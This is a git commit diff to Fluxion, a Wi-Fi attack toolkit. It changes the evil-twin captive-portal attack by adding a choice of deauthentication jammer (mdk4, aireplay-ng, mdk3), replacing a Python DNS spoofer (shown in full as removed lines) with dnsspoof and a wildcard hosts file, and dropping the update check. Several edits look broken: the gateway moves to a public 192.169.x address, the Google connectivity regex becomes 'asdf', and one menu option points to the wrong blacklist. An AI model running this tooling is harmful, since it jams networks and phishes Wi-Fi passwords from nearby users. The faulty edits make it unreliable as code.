fix conflicts

This commit is contained in:
strasharo 2019-12-25 13:48:18 +02:00
commit 84dd2746dd
5 changed files with 49 additions and 127 deletions

View File

@ -16,7 +16,7 @@ CaptivePortalAuthenticationMethodsInfo=(
# ============= < Virtual Network Configuration > ============ # # ============= < Virtual Network Configuration > ============ #
# To avoid collapsing with an already existing network, # To avoid collapsing with an already existing network,
# we'll use a somewhat uncommon network and server IP. # we'll use a somewhat uncommon network and server IP.
CaptivePortalGatewayAddress="192.168.254.1" CaptivePortalGatewayAddress="192.169.254.1"
CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*} CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*}
@ -116,7 +116,7 @@ captive_portal_set_ap_interface() {
# interface is in used by something else (virtual reservation?). # interface is in used by something else (virtual reservation?).
echo "Virtual interface required, attempting." > $FLUXIONOutputDevice echo "Virtual interface required, attempting." > $FLUXIONOutputDevice
if ! iw dev $CaptivePortalJammerInterface interface \ if ! iw dev $CaptivePortalJammerInterface interface \
add ${CaptivePortalJammerInterface}v type monitor \ add ${CaptivePortalJammerInterface}v type managed \
2> $FLUXIONOutputDevice; then 2> $FLUXIONOutputDevice; then
echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError"
sleep 5 sleep 5
@ -154,6 +154,13 @@ function captive_portal_set_ap_service() {
captive_portal_unset_ap_service captive_portal_unset_ap_service
echo -e "$FLUXIONVLine ${CClr}Select a method of deauthentication\n${CClr}"
echo -e "${CSRed}[${CSYel}1${CSRed}]${CClr} mdk4${CClr}"
echo -e "${CSRed}[${CSYel}2${CSRed}]${CClr} aireplay${CClr}"
echo -e "${CSRed}[${CSYel}3${CSRed}]${CClr} mdk3\n${CClr}"
read -p $'\e[0;31m[\e[1;34mfluxion\e[1;33m@\e[1;37m'"$HOSTNAME"$'\e[0;31m]\e[0;31m-\e[0;31m[\e[1;33m~\e[0;31m] \e[0m' option_deauth
if [ "$FLUXIONAuto" ]; then if [ "$FLUXIONAuto" ]; then
CaptivePortalAPService="hostapd" CaptivePortalAPService="hostapd"
else else
@ -725,7 +732,7 @@ index-file.names = (
# Respond with Google's captive response on certain domains. # Respond with Google's captive response on certain domains.
# Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com # Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com
\$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { \$HTTP[\"host\"] =~ \"asdf\" {
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
} }
@ -734,7 +741,7 @@ index-file.names = (
echo "\ echo "\
# Redirect all traffic to the captive portal when not emulating a connection. # Redirect all traffic to the captive portal when not emulating a connection.
\$HTTP[\"host\"] != \"captive.gateway.lan\" { \$HTTP[\"host\"] != \"captive.gateway.lan\" {
url.redirect-code = 302 url.redirect-code = 307
url.redirect = ( url.redirect = (
\"^/(.*)\" => \"http://captive.gateway.lan/\", \"^/(.*)\" => \"http://captive.gateway.lan/\",
) )
@ -742,92 +749,15 @@ index-file.names = (
" >>"$FLUXIONWorkspacePath/lighttpd.conf" " >>"$FLUXIONWorkspacePath/lighttpd.conf"
fi fi
# Create a DNS service with python, forwarding all traffic to gateway. # Create a temporary hosts file to be used with dnsspoof
echo "\ echo "\
import sys, traceback, socket ${CaptivePortalGatewayAddress} *.*
# NOTICE: This DNS server works with python 2 and python 3 172.217.5.238 google.com
172.217.13.78 clients3.google.com
172.217.13.78 clients4.google.com
" >"$FLUXIONWorkspacePath/hosts"
class DNSQuery: #chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
def __init__(self, data):
self.data = data
self.domain = ''
queryType = (ord(data[2]) >> 3) & 15
# Only handle basic requests.
if queryType != 0:
print('Ignoring Query: Non-spoofed type.')
return
domainStart = 13 # Skip length byte and start at domain.
domainLength = ord(data[domainStart - 1]) # Evaluate length byte.
while domainLength != 0:
self.domain += data[domainStart : domainStart + domainLength] + '.'
domainStart += domainLength + 1 # Skip the length byte & start at domain.
domainLength = ord(data[domainStart - 1]) # Evaluate length byte.
def response(self, ipv4):
if not self.domain: return ''
packet = ''
packet += self.data[ :2] + '\x81\x80'
packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
packet += self.data[12:]
packet += '\xc0\x0c'
packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
# Convert string IPv4 quads to binary values (bytes).
packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.')))
return packet
if __name__ == '__main__':
targetIPv4 = '$CaptivePortalGatewayAddress'
print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4)
link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
link.bind(('',53))
try:
while True:
clientData, clientIPv4 = link.recvfrom(1024)
queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape')
query = DNSQuery(queryData)
response = query.response(targetIPv4)
if sys.version_info > (3, 0):
# Someone that knows more about python and how it does byte-handling,
# please fix the following shitfest and make it a bit more elegant.
# Do what? A raw conversion of the \"response\" string to bytes.
responseHex = ''
for xx in response:
responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111)
response = bytearray.fromhex(responseHex)
link.sendto(response, clientIPv4)
print('Request: %s -> %s' % (query.domain, targetIPv4))
except KeyboardInterrupt:
print('INTERRUPT: Stopping.')
link.close()
except Exception as error:
print('EXCEPTION: Stopping!')
print(error)
print(traceback.format_exc())
link.close()
" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"} local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"}
# Attack arbiter script # Attack arbiter script
@ -1429,7 +1359,7 @@ stop_attack() {
CaptivePortalWebServicePID="" # Clear service PID CaptivePortalWebServicePID="" # Clear service PID
fi fi
# Kill python DNS service if one is found. # Kill DNS service if one is found.
if [ "$CaptivePortalDNSServiceXtermPID" ]; then if [ "$CaptivePortalDNSServiceXtermPID" ]; then
kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \ kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
@ -1496,7 +1426,7 @@ start_attack() {
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \ xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \
-title "FLUXION AP DNS Service" -e \ -title "FLUXION AP DNS Service" -e \
"if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & "dnsspoof -i ${CaptivePortalAccessInterface} -f \"$FLUXIONWorkspacePath/hosts\"" &
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalDNSServiceXtermPID=$! CaptivePortalDNSServiceXtermPID=$!
@ -1519,14 +1449,28 @@ start_attack() {
"./$FLUXIONWorkspacePath/captive_portal/deauth-ng.py -i $CaptivePortalJammerInterface -f 5 -c $FluxionTargetChannel -a $FluxionTargetMAC" & "./$FLUXIONWorkspacePath/captive_portal/deauth-ng.py -i $CaptivePortalJammerInterface -f 5 -c $FluxionTargetChannel -a $FluxionTargetMAC" &
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$! CaptivePortalJammerServiceXtermPID=$!
else elif [[ $option_deauth -eq 1 ]]; then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$! CaptivePortalJammerServiceXtermPID=$!
elif [[ $option_deauth -eq 2 ]]; then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"aireplay-ng -0 0 -a $FluxionTargetMAC --ignore-negative-one $CaptivePortalJammerInterface" &
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
elif [[ $option_deauth -eq 3 ]]; then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" &
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
fi fi
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"

View File

@ -11,7 +11,7 @@ CaptivePortalStaringAPRoutesNotice="Starte den routing Service "
CaptivePortalStartingDHCPServiceNotice="Starte den DHCP Service" CaptivePortalStartingDHCPServiceNotice="Starte den DHCP Service"
CaptivePortalStartingDNSServiceNotice="Starte den DNS Service." CaptivePortalStartingDNSServiceNotice="Starte den DNS Service."
CaptivePortalStartingWebServiceNotice="Starte den AP" CaptivePortalStartingWebServiceNotice="Starte den AP"
CaptivePortalStartingJammerServiceNotice="Starte mdk3 als Service" CaptivePortalStartingJammerServiceNotice="Starte mdk4/aireplay als Service"
CaptivePortalStartingAuthenticatorServiceNotice="Authentifizierungsskript wird gestartet" CaptivePortalStartingAuthenticatorServiceNotice="Authentifizierungsskript wird gestartet"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalAPServiceQuery="Select an access point service" CaptivePortalAPServiceQuery="Select an access point service"

View File

@ -3,7 +3,7 @@
# description: Acquires WPA/WPA2 encryption hashes. # description: Acquires WPA/WPA2 encryption hashes.
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperJammerInterfaceQuery="Selecteer eenn interface voor monitoring & jamming." HandshakeSnooperJammerInterfaceQuery="Selecteer een interface voor monitoring & jamming."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperMethodQuery="Selecteer een methode voor handshake verkrijgen" HandshakeSnooperMethodQuery="Selecteer een methode voor handshake verkrijgen"
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passief$CClr)" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passief$CClr)"
@ -23,8 +23,8 @@ HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter dae
HandshakeSnooperSnoopingForNSecondsNotice="Snooping voor \$HandshakeSnooperVerifierInterval seconden." HandshakeSnooperSnoopingForNSecondsNotice="Snooping voor \$HandshakeSnooperVerifierInterval seconden."
HandshakeSnooperStoppingForVerifierNotice="Stop snooper & controle voor hashes." HandshakeSnooperStoppingForVerifierNotice="Stop snooper & controle voor hashes."
HandshakeSnooperSearchingForHashesNotice="Zoek naar hashes in het capture bestand." HandshakeSnooperSearchingForHashesNotice="Zoek naar hashes in het capture bestand."
HandshakeSnooperArbiterAbortedWarning="${CYel}Geannuleerd${CClr}: De operatie is geannuleerd been, geen geldige hash gevonden." HandshakeSnooperArbiterAbortedWarning="${CYel}Afgebroken${CClr}: De operatie is afgebroken, geen geldige hash gevonden."
HandshakeSnooperArbiterSuccededNotice="${CGrn}Gelukt${CClr}: Een geldige hash is gedetecteerd en opgeslagen in de fluxion's database." HandshakeSnooperArbiterSuccededNotice="${CGrn}Gelukt${CClr}: Een geldige hash is gedetecteerd en opgeslagen in de fluxion database."
HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel aanval afgerond, Sluit dit scherm en start een andere aanval.$CClr" HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel aanval afgerond, Sluit dit scherm en start een andere aanval.$CClr"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

View File

@ -4,6 +4,10 @@
# ================== < FLUXION Parameters > ================== # # ================== < FLUXION Parameters > ================== #
# ============================================================ # # ============================================================ #
# Path to directory containing the FLUXION executable script. # Path to directory containing the FLUXION executable script.
for program in "$(airmon-ng check | awk 'NR>6{print $2}')"; do
killall $program &> /dev/null
done
readonly FLUXIONPath=$(dirname $(readlink -f "$0")) readonly FLUXIONPath=$(dirname $(readlink -f "$0"))
# Path to directory containing the FLUXION library (scripts). # Path to directory containing the FLUXION library (scripts).
@ -21,8 +25,8 @@ readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf"
readonly FLUXIONNoiseFloor=-90 readonly FLUXIONNoiseFloor=-90
readonly FLUXIONNoiseCeiling=-60 readonly FLUXIONNoiseCeiling=-60
readonly FLUXIONVersion=5 readonly FLUXIONVersion=6
readonly FLUXIONRevision=9 readonly FLUXIONRevision=0
# Declare window ration bigger = smaller windows # Declare window ration bigger = smaller windows
FLUXIONWindowRatio=4 FLUXIONWindowRatio=4
@ -250,37 +254,10 @@ fluxion_startup() {
echo # Do not remove. echo # Do not remove.
sleep 0.1
local -r fluxionRepository="https://github.com/FluxionNetwork/fluxion"
format_center_literals "${CGrn}Site: ${CRed}$fluxionRepository$CClr"
echo -e "$FormatCenterLiterals"
sleep 0.1
local -r versionInfo="${CSRed}FLUXION $FLUXIONVersion$CClr"
local -r revisionInfo="(rev. $CSBlu$FLUXIONRevision$CClr)"
local -r credits="by$CCyn FluxionNetwork$CClr"
format_center_literals "$versionInfo $revisionInfo $credits"
echo -e "$FormatCenterLiterals"
sleep 0.1
local -r fluxionDomain="raw.githubusercontent.com"
local -r fluxionPath="FluxionNetwork/fluxion/master/fluxion.sh"
local -r updateDomain="github.com"
local -r updatePath="FluxionNetwork/fluxion/archive/master.zip"
if installer_utils_check_update "https://$fluxionDomain/$fluxionPath" \
"FLUXIONVersion=" "FLUXIONRevision=" \
$FLUXIONVersion $FLUXIONRevision; then
installer_utils_run_update "https://$updateDomain/$updatePath" \
"FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$FLUXIONPath"
fluxion_shutdown
fi
echo # Do not remove.
local requiredCLITools=( local requiredCLITools=(
"aircrack-ng" "bc" "awk:awk|gawk|mawk" "aircrack-ng" "bc" "awk:awk|gawk|mawk"
"curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd"
"iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "iwconfig:wireless-tools" "macchanger" "mdk4" "dsniff" "mdk3" "nmap" "openssl"
"php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools"
"fuser:psmisc" "killall:psmisc" "fuser:psmisc" "killall:psmisc"
) )
@ -352,6 +329,7 @@ fluxion_shutdown() {
# Only deallocate fluxion or airmon-ng created interfaces. # Only deallocate fluxion or airmon-ng created interfaces.
if [[ "$interface" == "flux"* || "$interface" == *"mon"* || "$interface" == "prism"* ]]; then if [[ "$interface" == "flux"* || "$interface" == *"mon"* || "$interface" == "prism"* ]]; then
fluxion_deallocate_interface $interface fluxion_deallocate_interface $interface
systemctl restart network-manager
fi fi
done done
fi fi

View File

@ -72,7 +72,7 @@ function ap_service_start() {
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \ xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
-title "FLUXION AP Service [airbase-ng]" -e \ -title "FLUXION AP Service [airbase-ng]" -e \
airbase-ng -P -e $APServiceSSID -c $APServiceChannel \ airbase-ng -y -e $APServiceSSID -c $APServiceChannel \
-a $APServiceMAC $APServiceInterface & -a $APServiceMAC $APServiceInterface &
local parentPID=$! local parentPID=$!
@ -81,7 +81,7 @@ function ap_service_start() {
sleep 1 sleep 1
APServicePID=$(pgrep -P $parentPID) APServicePID=$(pgrep -P $parentPID)
done done
eval ifconfig at0 192.169.254.1
ap_service_route ap_service_route
} }